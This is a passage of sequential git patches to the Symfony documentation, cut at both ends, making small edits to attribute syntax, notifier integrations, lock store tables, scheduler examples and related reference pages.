MyMultiListener { - #[AsEventListener()] + #[AsEventListener] public function onCustomEvent(CustomEvent $event): void { // ... From 5d63d63c99c4e6b757bce2cb759af28349c46ade Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Mon, 20 May 2024 19:09:01 +0200 Subject: [PATCH 221/615] Remove redundant parenthesis on attribute --- components/http_kernel.rst | 2 +- controller.rst | 2 +- http_cache.rst | 4 ++-- http_cache/cache_vary.rst | 2 +- http_cache/expiration.rst | 2 +- security.rst | 6 +++--- security/expressions.rst | 6 +++--- security/voters.rst | 4 ++-- service_container/lazy_services.rst | 2 +- templates.rst | 6 +++--- 10 files changed, 18 insertions(+), 18 deletions(-) diff --git a/components/http_kernel.rst b/components/http_kernel.rst index 9104a9f7b6e..fdaab397050 100644 --- a/components/http_kernel.rst +++ b/components/http_kernel.rst @@ -421,7 +421,7 @@ return a ``Response``. There is a default listener inside the Symfony Framework for the ``kernel.view`` event. If your controller action returns an array, and you apply the - :ref:`#[Template()] attribute <templates-template-attribute>` to that + :ref:`#[Template] attribute <templates-template-attribute>` to that controller action, then this listener renders a template, passes the array you returned from your controller to that template, and creates a ``Response`` containing the returned content from that template. diff --git a/controller.rst b/controller.rst index ec2777e7f19..60aa1e66fdb 100644 --- a/controller.rst +++ b/controller.rst @@ -557,7 +557,7 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_ if you want to map a nested array of specific DTOs:: public function dashboard( - #[MapRequestPayload()] EmployeesDto $employeesDto + #[MapRequestPayload] EmployeesDto $employeesDto ): Response { // ... diff --git a/http_cache.rst b/http_cache.rst index e1f1a57399c..99553fc12f2 100644 --- a/http_cache.rst +++ b/http_cache.rst @@ -231,7 +231,7 @@ The *easiest* way to cache a response is by caching it for a specific amount of .. versionadded:: 6.2 - The ``#[Cache()]`` attribute was introduced in Symfony 6.2. + The ``#[Cache]`` attribute was introduced in Symfony 6.2. Thanks to this new code, your HTTP response will have the following header: @@ -331,7 +331,7 @@ Additionally, most cache-related HTTP headers can be set via the single .. tip:: - All these options are also available when using the ``#[Cache()]`` attribute. + All these options are also available when using the ``#[Cache]`` attribute. Cache Invalidation ------------------ diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst index cb0db8c674d..d4e1dcbc83e 100644 --- a/http_cache/cache_vary.rst +++ b/http_cache/cache_vary.rst @@ -28,7 +28,7 @@ trigger a different representation of the requested resource: resource based on the URI and the value of the ``Accept-Encoding`` and ``User-Agent`` request header. -Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]`` +Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache]`` attribute:: .. configuration-block:: diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst index 0d666e4cae8..d6beb777032 100644 --- a/http_cache/expiration.rst +++ b/http_cache/expiration.rst @@ -61,7 +61,7 @@ or disadvantage to either. According to the HTTP specification, "the ``Expires`` header field gives the date/time after which the response is considered stale." The ``Expires`` -header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or +header can be set with the ``expires`` option of the ``#[Cache]`` attribute or the ``setExpires()`` ``Response`` method:: .. configuration-block:: diff --git a/security.rst b/security.rst index 2b4350e27ee..0270d2fdbb0 100644 --- a/security.rst +++ b/security.rst @@ -2525,7 +2525,7 @@ will happen: .. _security-securing-controller-annotations: .. _security-securing-controller-attributes: -Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute. +Another way to secure one or more controller actions is to use the ``#[IsGranted]`` attribute. In the following example, all controller actions will require the ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require the ``ROLE_SUPER_ADMIN`` permission: @@ -2579,11 +2579,11 @@ that is thrown with the ``exceptionCode`` argument:: .. versionadded:: 6.2 - The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2. + The ``#[IsGranted]`` attribute was introduced in Symfony 6.2. .. versionadded:: 6.3 - The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was + The ``exceptionCode`` argument of the ``#[IsGranted]`` attribute was introduced in Symfony 6.3. .. _security-template: diff --git a/security/expressions.rst b/security/expressions.rst index e3e6425f6d5..fcf87269bc5 100644 --- a/security/expressions.rst +++ b/security/expressions.rst @@ -7,7 +7,7 @@ Using Expressions in Security Access Controls the :doc:`Voter System </security/voters>`. In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method -and ``#[IsGranted()]`` attribute also accept an +and ``#[IsGranted]`` attribute also accept an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object: .. configuration-block:: @@ -71,7 +71,7 @@ and ``#[IsGranted()]`` attribute also accept an .. versionadded:: 6.2 - The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2. + The ``#[IsGranted]`` attribute was introduced in Symfony 6.2. In this example, if the current user has ``ROLE_ADMIN`` or if the current user object's ``isSuperAdmin()`` method returns ``true``, then access will @@ -142,7 +142,7 @@ Additionally, you have access to a number of functions inside the expression: true if the user has actually logged in during this session (i.e. is full-fledged). -In case of the ``#[IsGranted()]`` attribute, the subject can also be an +In case of the ``#[IsGranted]`` attribute, the subject can also be an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:: // src/Controller/MyController.php diff --git a/security/voters.rst b/security/voters.rst index 7d37aea2510..c7aeb8bdbe1 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -121,14 +121,14 @@ code like this: } } -The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method) +The ``#[IsGranted]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method) calls out to the "voter" system. Right now, no voters will vote on whether or not the user can "view" or "edit" a ``Post``. But you can create your *own* voter that decides this using whatever logic you want. .. versionadded:: 6.2 - The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2. + The ``#[IsGranted]`` attribute was introduced in Symfony 6.2. Creating the custom Voter ------------------------- diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index 83589939acb..827d36a0662 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -131,7 +131,7 @@ laziness, and supports lazy-autowiring of union types:: .. versionadded:: 6.3 - The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in + The ``lazy`` argument of the ``#[Autowire]`` attribute was introduced in Symfony 6.3. Interface Proxifying diff --git a/templates.rst b/templates.rst index c3d4ac4d53d..8f1e412b6d1 100644 --- a/templates.rst +++ b/templates.rst @@ -579,7 +579,7 @@ use the ``render()`` method of the ``twig`` service. .. _templates-template-attribute: -Another option is to use the ``#[Template()]`` attribute on the controller method +Another option is to use the ``#[Template]`` attribute on the controller method to define the template to render:: // src/Controller/ProductController.php @@ -596,7 +596,7 @@ to define the template to render:: { // ... - // when using the #[Template()] attribute, you only need to return + // when using the #[Template] attribute, you only need to return // an array with the parameters to pass to the template (the attribute // is the one which will create and return the Response object). return [ @@ -608,7 +608,7 @@ to define the template to render:: .. versionadded:: 6.2 - The ``#[Template()]`` attribute was introduced in Symfony 6.2. + The ``#[Template]`` attribute was introduced in Symfony 6.2. The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` From 255cf606be1f6ab582b7f5ef8f0a7781c6667ed6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Tue, 21 May 2024 19:20:40 +0200 Subject: [PATCH 222/615] [AssetMapper] Remove Cloudflare auto-minify links As Cloudflare is deprecating their auto-minify feature, let's remove it from the doc --- frontend/asset_mapper.rst | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index dfc6a196430..1f5eae2a501 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -636,9 +636,7 @@ which will automatically do most of these things for you: - **Compress your assets**: Your web server should compress (e.g. using gzip) your assets (JavaScript, CSS, images) before sending them to the browser. This is automatically enabled in Caddy and can be activated in Nginx and Apache. - In Cloudflare, assets are compressed by default and you can also - enable `auto minify`_ to further compress your assets (e.g. removing - whitespace and comments from JavaScript and CSS files). + In Cloudflare, assets are compressed by default. - **Set long-lived cache expiry**: Your web server should set a long-lived ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version @@ -716,8 +714,8 @@ Does the AssetMapper Component Minify Assets? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nope! Minifying or compressing assets *is* important, but can be -done by your web server or a service like Cloudflare. See -:ref:`Optimization <optimization>` for more details. +done by your web server. See :ref:`Optimization <optimization>` for +more details. Is the AssetMapper Component Production Ready? Is it Performant? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1152,7 +1150,6 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _class syntax: https://caniuse.com/es6-class .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html .. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html -.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/ .. _Lighthouse: https://developers.google.com/web/tools/lighthouse .. _Tailwind: https://tailwindcss.com/ .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle From 46bef1465a0c408aabb2c4cb2d9a4cce2e3d50e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Tue, 21 May 2024 07:22:49 +0200 Subject: [PATCH 223/615] [HttpCache] Remove SensioFrameworkExtraBundle reference --- http_cache/_expiration-and-validation.rst.inc | 7 ------- 1 file changed, 7 deletions(-) diff --git a/http_cache/_expiration-and-validation.rst.inc b/http_cache/_expiration-and-validation.rst.inc index 3ae2113e242..cb50cd6163e 100644 --- a/http_cache/_expiration-and-validation.rst.inc +++ b/http_cache/_expiration-and-validation.rst.inc @@ -5,10 +5,3 @@ both worlds. In other words, by using both expiration and validation, you can instruct the cache to serve the cached content, while checking back at some interval (the expiration) to verify that the content is still valid. - - .. tip:: - - You can also define HTTP caching headers for expiration and validation by using - annotations. See the `FrameworkExtraBundle documentation`_. - -.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/cache.html From 036eec8f3087091a57b6ed1eca92d3520daa0a95 Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Thu, 16 May 2024 12:48:39 +0200 Subject: [PATCH 224/615] Add extra information on AsEventListener attribute usage --- event_dispatcher.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index 897157b4724..dc1682f39e6 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -162,7 +162,9 @@ having to add any configuration in external files:: } } -You can add multiple ``#[AsEventListener]`` attributes to configure different methods:: +You can add multiple ``#[AsEventListener]`` attributes to configure different methods. +In the below example, for ``foo`` event, ``onFoo`` method will be called +implicitly if method attribute is not set:: namespace App\EventListener; From 81ca5c25843a0775abd6765f1107a72b34c9c156 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 22 May 2024 15:38:09 +0200 Subject: [PATCH 225/615] Minor tweaks --- event_dispatcher.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index dc1682f39e6..ab3428f6cb0 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -163,8 +163,9 @@ having to add any configuration in external files:: } You can add multiple ``#[AsEventListener]`` attributes to configure different methods. -In the below example, for ``foo`` event, ``onFoo`` method will be called -implicitly if method attribute is not set:: +The ``method`` property is optional, and when not defined, it defaults to +``on`` + uppercased event name. In the example below, the ``'foo'`` event listener +doesn't explicitly define its method, so the ``onFoo()`` method will be called:: namespace App\EventListener; From 18f36ef332bae77634877b1bea756ae3230d82b6 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 22 May 2024 15:46:43 +0200 Subject: [PATCH 226/615] Fix some merging issues --- notifier.rst | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/notifier.rst b/notifier.rst index 3e2c3eca6d9..b34757f22bf 100644 --- a/notifier.rst +++ b/notifier.rst @@ -165,6 +165,9 @@ Service `Smsapi`_ **Install**: ``composer require symfony/smsapi-notifier`` \ **DSN**: ``smsapi://TOKEN@default?from=FROM`` \ **Webhook support**: No +`Smsbox`_ **Install**: ``composer require symfony/smsbox-notifier`` \ + **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \ + **Webhook support**: No `SmsBiuras`_ **Install**: ``composer require symfony/sms-biuras-notifier`` \ **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \ **Webhook support**: No @@ -189,6 +192,9 @@ Service `Twilio`_ **Install**: ``composer require symfony/twilio-notifier`` \ **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \ **Webhook support**: Yes +`Unifonic`_ **Install**: ``composer require symfony/unifonic-notifier`` \ + **DSN**: ``unifonic://APP_SID@default?from=FROM`` \ + **Webhook support**: No `Vonage`_ **Install**: ``composer require symfony/vonage-notifier`` \ **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \ **Webhook support**: Yes @@ -205,7 +211,8 @@ Service .. versionadded:: 7.1 - The `SmsSluzba`_, `SMSense`_ and `LOX24`_ integrations were introduced in Symfony 7.1. + The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic`` + integrations were introduced in Symfony 7.1. .. deprecated:: 7.1 @@ -348,8 +355,7 @@ Service Package D .. versionadded:: 7.1 - The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations - were introduced in Symfony 7.1. + The ``Bluesky`` integration was introduced in Symfony 7.1. .. caution:: From b38c05e9f54d8cd0efccc09f386ca98444ba4b59 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 24 May 2024 09:35:51 +0200 Subject: [PATCH 227/615] implement __isset() together with __get() --- components/property_access.rst | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/components/property_access.rst b/components/property_access.rst index e2e6cb95796..953a05bff47 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -204,12 +204,22 @@ The ``getValue()`` method can also use the magic ``__get()`` method:: { return $this->children[$id]; } + + public function __isset($id): bool + { + return true; + } } $person = new Person(); var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...] +.. caution:: + + When implementing the magic ``__get()`` method, you also need to implement + ``__isset()``. + .. versionadded:: 5.2 The magic ``__get()`` method can be disabled since in Symfony 5.2. From 81316769124d8bd7258035f630df0d90f494815d Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Sun, 26 May 2024 15:20:55 +0200 Subject: [PATCH 228/615] Use Doctor RST 1.61.1 --- .doctor-rst.yaml | 1 + .github/workflows/ci.yaml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 5f428fc80ca..3602a9787c0 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -33,6 +33,7 @@ rules: max: 2 max_colons: ~ no_app_console: ~ + no_attribute_redundant_parenthesis: ~ no_blank_line_after_filepath_in_php_code_block: ~ no_blank_line_after_filepath_in_twig_code_block: ~ no_blank_line_after_filepath_in_xml_code_block: ~ diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 44aa8481fd5..e8142fecd10 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.60.1 + uses: docker://oskarstark/doctor-rst:1.61.1 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From 710d306fba10953ab91b9b1994295564b8afebb2 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 29 May 2024 12:16:03 +0200 Subject: [PATCH 229/615] [Notifier] Add a missing reference link --- notifier.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/notifier.rst b/notifier.rst index 202689005a3..5346fbf7719 100644 --- a/notifier.rst +++ b/notifier.rst @@ -1089,6 +1089,7 @@ is dispatched. Listeners receive a .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md +.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md From f6a398b498d77c19627f93c3328a75017b78d16c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 29 May 2024 12:04:38 +0200 Subject: [PATCH 230/615] Move some docs from the Choice constraint to the ChoiceType --- reference/constraints/Choice.rst | 26 -------------------------- reference/forms/types/choice.rst | 26 ++++++++++++++++++++++++++ 2 files changed, 26 insertions(+), 26 deletions(-) diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst index 8bafaaede7b..5a9c365be37 100644 --- a/reference/constraints/Choice.rst +++ b/reference/constraints/Choice.rst @@ -389,29 +389,3 @@ Parameter Description =============== ============================================================== .. include:: /reference/constraints/_payload-option.rst.inc - -``separator`` -~~~~~~~~~~~~~ - -**type**: ``string`` **default**: ``-------------------`` - -This option allows you to customize the visual separator shown after the preferred -choices. You can use HTML elements like ``<hr>`` to display a more modern separator, -but you'll also need to set the `separator_html`_ option to ``true``. - -.. versionadded:: 7.1 - - The ``separator`` option was introduced in Symfony 7.1. - -``separator_html`` -~~~~~~~~~~~~~~~~~~ - -**type**: ``boolean`` **default**: ``false`` - -If this option is true, the `separator`_ option will be displayed as HTML instead -of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern -visual separator. - -.. versionadded:: 7.1 - - The ``separator_html`` option was introduced in Symfony 7.1. diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst index 3637da8bdca..0b250b799da 100644 --- a/reference/forms/types/choice.rst +++ b/reference/forms/types/choice.rst @@ -202,6 +202,32 @@ correct types will be assigned to the model. .. include:: /reference/forms/types/options/preferred_choices.rst.inc +``separator`` +~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``-------------------`` + +This option allows you to customize the visual separator shown after the preferred +choices. You can use HTML elements like ``<hr>`` to display a more modern separator, +but you'll also need to set the `separator_html`_ option to ``true``. + +.. versionadded:: 7.1 + + The ``separator`` option was introduced in Symfony 7.1. + +``separator_html`` +~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +If this option is true, the `separator`_ option will be displayed as HTML instead +of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern +visual separator. + +.. versionadded:: 7.1 + + The ``separator_html`` option was introduced in Symfony 7.1. + Overridden Options ------------------ From aa42227d536caf2e53724e451b5c698753e74e05 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Thu, 30 May 2024 08:05:27 +0200 Subject: [PATCH 231/615] __isset() returns true only if values are present --- components/property_access.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/property_access.rst b/components/property_access.rst index 953a05bff47..a51f6034145 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method:: public function __isset($id): bool { - return true; + return array_key_exists($id, $this->children); } } From 41c4ce5f15986ad8dfb95d3267f875cff63e9377 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Thu, 30 May 2024 11:41:26 +0200 Subject: [PATCH 232/615] [Dotenv] Fix `SYMFONY_DOTENV_PATH` purpose --- configuration.rst | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/configuration.rst b/configuration.rst index 728f0e4e8b5..36dceae1b71 100644 --- a/configuration.rst +++ b/configuration.rst @@ -954,15 +954,7 @@ path is part of the options you can set in your ``composer.json`` file: } } -You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system -level (e.g. in your web server configuration or in your Dockerfile): - -.. code-block:: bash - - # .env (or .env.local) - SYMFONY_DOTENV_PATH=my/custom/path/to/.env - -Finally, you can directly invoke the ``Dotenv`` class in your +As an alternate option, you can directly invoke the ``Dotenv`` class in your ``bootstrap.php`` file or any other file of your application:: use Symfony\Component\Dotenv\Dotenv; @@ -975,9 +967,13 @@ the local and environment-specific files (e.g. ``.*.local`` and :ref:`how to override environment variables <configuration-multiple-env-files>` to learn more about this. +If you need to know the path to the ``.env`` file that Symfony is using, you can +read the ``SYMFONY_DOTENV_PATH`` environment variable in your application. + .. versionadded:: 7.1 - The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1. + The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony + 7.1. .. _configuration-secrets: From 0074962a87b9598d337469566266f9d78a8f742a Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Mon, 27 May 2024 16:19:49 +0200 Subject: [PATCH 233/615] [Emoji] Add the text locale --- string.rst | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/string.rst b/string.rst index c58a736da89..9253b89478e 100644 --- a/string.rst +++ b/string.rst @@ -561,6 +561,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_:: The ``EmojiTransliterator`` also provides special locales that convert emojis to short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack. +All theses platform are also combined in special locale ``text``. GitHub Emoji Transliteration ............................ @@ -607,6 +608,27 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale:: $transliterator->transliterate('Menus with :green_salad: or :falafel:'); // => 'Menus with 🥗 or 🧆' +Text Emoji Transliteration +.......................... + +If you don't know where short codes come from, you can use the ``text-emoji`` locale. +This locale will convert Github, Gitlab and Slack short codes to emojis:: + + $transliterator = EmojiTransliterator::create('text-emoji'); + // Github short codes + $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:'); + // Gitlab short codes + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // Slack short codes + $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:'); + // => 'Breakfast with 🥝 or 🥛' + +You can convert emojis to short codes with the ``emoji-text`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-text'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwifruit: or :milk-glass: + Removing Emojis ~~~~~~~~~~~~~~~ From 83b90512648752142e26ea1f361a13443642aac1 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 31 May 2024 09:37:02 +0200 Subject: [PATCH 234/615] remove example using not existing timezone property --- scheduler.rst | 3 --- 1 file changed, 3 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index d23df3b3044..d31e91067bd 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -516,9 +516,6 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg } } - // defines the timezone to use - #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')] - .. versionadded:: 6.4 The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute From 69c39f5f7e54a7ba2b9d7b449ef4269baed4b761 Mon Sep 17 00:00:00 2001 From: Jean-David Daviet <jeandaviddaviet@gmail.com> Date: Fri, 31 May 2024 15:00:17 +0200 Subject: [PATCH 235/615] Fix broken link for UriSigner::sign method --- routing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/routing.rst b/routing.rst index 790ae314516..153c3690824 100644 --- a/routing.rst +++ b/routing.rst @@ -2697,7 +2697,7 @@ service, which you can inject in your services or controllers:: For security reasons, it's common to make signed URIs expire after some time (e.g. when using them to reset user credentials). By default, signed URIs don't expire, but you can define an expiration date/time using the ``$expiration`` -argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`:: +argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`:: // src/Service/SomeService.php namespace App\Service; From 3444ffba12ba81ba13a3843afd84852fcfa31560 Mon Sep 17 00:00:00 2001 From: Christophe Coevoet <stof@notk.org> Date: Fri, 31 May 2024 17:31:51 +0200 Subject: [PATCH 236/615] Improve the documentation about serializing lock keys - use the LockFactory, which is consistent with other examples and is the recommended usage in the fullstack framework rather than injecting the Store to create a Lock directly - update the lock store table to document which stores are compatible with serialization, as the section about serialization is linking to this table for compatibility info but it was not included --- components/lock.rst | 34 ++++++++++++++++------------------ 1 file changed, 16 insertions(+), 18 deletions(-) diff --git a/components/lock.rst b/components/lock.rst index bac1f835b9a..3332d24fe32 100644 --- a/components/lock.rst +++ b/components/lock.rst @@ -108,12 +108,10 @@ to handle the rest of the job:: use App\Lock\RefreshTaxonomy; use Symfony\Component\Lock\Key; - use Symfony\Component\Lock\Lock; $key = new Key('article.'.$article->getId()); - $lock = new Lock( + $lock = $factory->createLockFromKey( $key, - $this->store, 300, // ttl false // autoRelease ); @@ -124,7 +122,7 @@ to handle the rest of the job:: .. note:: Don't forget to set the ``autoRelease`` argument to ``false`` in the - ``Lock`` constructor to avoid releasing the lock when the destructor is + ``Lock`` instantiation to avoid releasing the lock when the destructor is called. Not all stores are compatible with serialization and cross-process locking: for @@ -402,20 +400,20 @@ Locks are created and managed in ``Stores``, which are classes that implement The component includes the following built-in store types: -========================================================== ====== ======== ======== ======= -Store Scope Blocking Expiring Sharing -========================================================== ====== ======== ======== ======= -:ref:`FlockStore <lock-store-flock>` local yes no yes -:ref:`MemcachedStore <lock-store-memcached>` remote no yes no -:ref:`MongoDbStore <lock-store-mongodb>` remote no yes no -:ref:`PdoStore <lock-store-pdo>` remote no yes no -:ref:`DoctrineDbalStore <lock-store-dbal>` remote no yes no -:ref:`PostgreSqlStore <lock-store-pgsql>` remote yes no yes -:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote yes no yes -:ref:`RedisStore <lock-store-redis>` remote no yes yes -:ref:`SemaphoreStore <lock-store-semaphore>` local yes no no -:ref:`ZookeeperStore <lock-store-zookeeper>` remote no no no -========================================================== ====== ======== ======== ======= +========================================================== ====== ======== ======== ======= ============= +Store Scope Blocking Expiring Sharing Serialization +========================================================== ====== ======== ======== ======= ============= +:ref:`FlockStore <lock-store-flock>` local yes no yes no +:ref:`MemcachedStore <lock-store-memcached>` remote no yes no yes +:ref:`MongoDbStore <lock-store-mongodb>` remote no yes no yes +:ref:`PdoStore <lock-store-pdo>` remote no yes no yes +:ref:`DoctrineDbalStore <lock-store-dbal>` remote no yes no yes +:ref:`PostgreSqlStore <lock-store-pgsql>` remote yes no yes no +:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote yes no yes no +:ref:`RedisStore <lock-store-redis>` remote no yes yes yes +:ref:`SemaphoreStore <lock-store-semaphore>` local yes no no no +:ref:`ZookeeperStore <lock-store-zookeeper>` remote no no no no +========================================================== ====== ======== ======== ======= ============= .. tip:: From 008bebf3ee880f3ce6f28e7aa6a0011ae9d7d16b Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Sat, 1 Jun 2024 08:28:35 +0200 Subject: [PATCH 237/615] Add missing dispatcher in Scheduler example --- scheduler.rst | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index d31e91067bd..ed9b6bf03d6 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -652,11 +652,15 @@ being transferred and processed by its handler:: #[AsSchedule('uptoyou')] class SaleTaskProvider implements ScheduleProviderInterface { + public function __construct(private EventDispatcherInterface $dispatcher) + { + } + public function getSchedule(): Schedule { $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); - return $this->schedule ??= (new Schedule()) + return $this->schedule ??= (new Schedule($this->dispatcher)) ->with( // ... ) @@ -671,7 +675,7 @@ being transferred and processed by its handler:: $schedule->removeById($messageContext->id); // allow to call the ShouldCancel() and avoid the message to be handled - $event->shouldCancel(true); + $event->shouldCancel(true); }) ->after(function(PostRunEvent $event) { // Do what you want From a6a828e6f9438df3169ea8200ffb00b76dbf1a8c Mon Sep 17 00:00:00 2001 From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com> Date: Tue, 4 Jun 2024 19:07:46 +0200 Subject: [PATCH 238/615] Change Type of field to correct one --- reference/forms/types/time.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index b45b0eab561..2ce41c6ff74 100644 --- 